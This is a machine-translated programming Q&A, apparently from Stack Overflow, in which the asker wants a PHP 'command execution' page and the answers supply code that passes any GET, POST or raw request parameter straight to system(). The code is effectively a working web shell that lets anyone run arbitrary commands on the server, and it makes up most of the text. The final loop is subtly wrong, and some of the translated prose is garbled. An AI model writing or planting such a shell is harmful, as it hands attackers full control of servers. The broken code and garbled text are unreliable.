php-通过任何参数和方法获取值

php-通过任何参数和方法获取值,php,parameters,execution,Php,Parameters,Execution,我正在尝试创建一个简单的页面命令执行漏洞。。。这是我的代码: system($_GET['cmd']); 它工作正常,如下所示: 问题是我想让这段小代码与任何参数和任何方法(GET或POST)一起工作 例如,如果使用了任何参数,那么它仍将通过系统方法,即:“?hello=ls”。(我不知道他们在哪里使用hello作为键。有什么想法吗?您可以将每个索引键存储在一个数组中,然后循环设置值 $keys = ['cmd', 'hello', 'etc..']; // jus add your para

我正在尝试创建一个简单的页面命令执行漏洞。。。这是我的代码:

system($_GET['cmd']);
它工作正常,如下所示:

问题是我想让这段小代码与任何参数和任何方法(GET或POST)一起工作


例如,如果使用了任何参数,那么它仍将通过系统方法,即:“?hello=ls”。(我不知道他们在哪里使用
hello
作为键。有什么想法吗?

您可以将每个索引键存储在一个数组中,然后循环设置值

$keys = ['cmd', 'hello', 'etc..']; // jus add your params

// GET params
foreach($keys as $_key) {
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
        system($_GET[$_key]);
    }
}

// POST params
foreach($keys as $_key) {
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
        system($_POST[$_key]);
    }
}
如果您不想知道POST/GET的密钥,则:

foreach($_GET as $key) {
    system($_GET[$key]);
}

foreach($_POST as $key) {
    system($_POST[$key]);
}
您可以尝试使用:
文件获取内容('php://input“);
要获取原始输入

请使用
$\u REQUEST
nop:“问题是我想生成这个小代码,使用任何参数和任何方法(get或POST)”你的意思是我做不到吗?Ofc你可以,这是一个简单的方法,只是有些人喜欢哭,我不想定义具体的参数。我想做任何事情。然后只需foreach
$\u GET
和foreach
$\u POST
,它将通过任何设置(无论调用什么键)…查看更新的问题以获得解决方案。